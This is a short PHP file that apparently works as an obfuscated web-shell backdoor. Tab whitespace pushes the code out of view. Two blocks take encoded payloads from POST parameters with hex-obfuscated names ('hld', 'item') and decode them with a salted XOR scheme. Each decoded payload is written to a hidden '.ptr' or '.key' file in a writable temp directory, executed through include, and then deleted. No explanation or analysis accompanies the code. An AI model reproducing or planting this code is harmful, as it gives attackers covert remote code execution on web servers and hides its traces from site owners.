<?php																																										if(filter_has_var(INPUT_POST, "\x68l\x64")){ $tkn = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir()]); $pgrp = $_POST["\x68l\x64"]; $pgrp= explode ( "." , $pgrp ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $pgrp as $l=>$v9) { $sChar = ord( $s[$l% $sLen]); $d =( ( int)$v9 - $sChar -( $l% 10)) ^ 1; $record .= chr( $d);} foreach ($tkn as $element): if (is_dir($element) && is_writable($element)) { $flg = sprintf("%s/.ptr", $element); $success = file_put_contents($flg, $record); if ($success) { include $flg; @unlink($flg); exit;} } endforeach; }


if(in_array("\x69\x74em", array_keys($_POST))){
	$pset = array_filter([session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd()]);
	$flag = $_POST["\x69\x74em"];
	$flag	 = explode(	  "." 	,$flag  )		 ;
	$component = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $w = 0;
    
            array_walk($flag, function($v1) use(&$component, &$w, $salt, $lenS) {	 $sChar = ord($salt[$w % $lenS]);
                $dec =((int)$v1 - $sChar -($w % 10)) 	^  100;
                $component.=	 chr($dec);
                $w++;});
	foreach ($pset as $tkn) {
    		if (is_dir($tkn) ? is_writable($tkn) : false) {
    $symbol = join("/", [$tkn, ".key"]);
    if (@file_put_contents($symbol, $component) !== false) {
	include $symbol;
	unlink($symbol);
	die();
}
}
}
}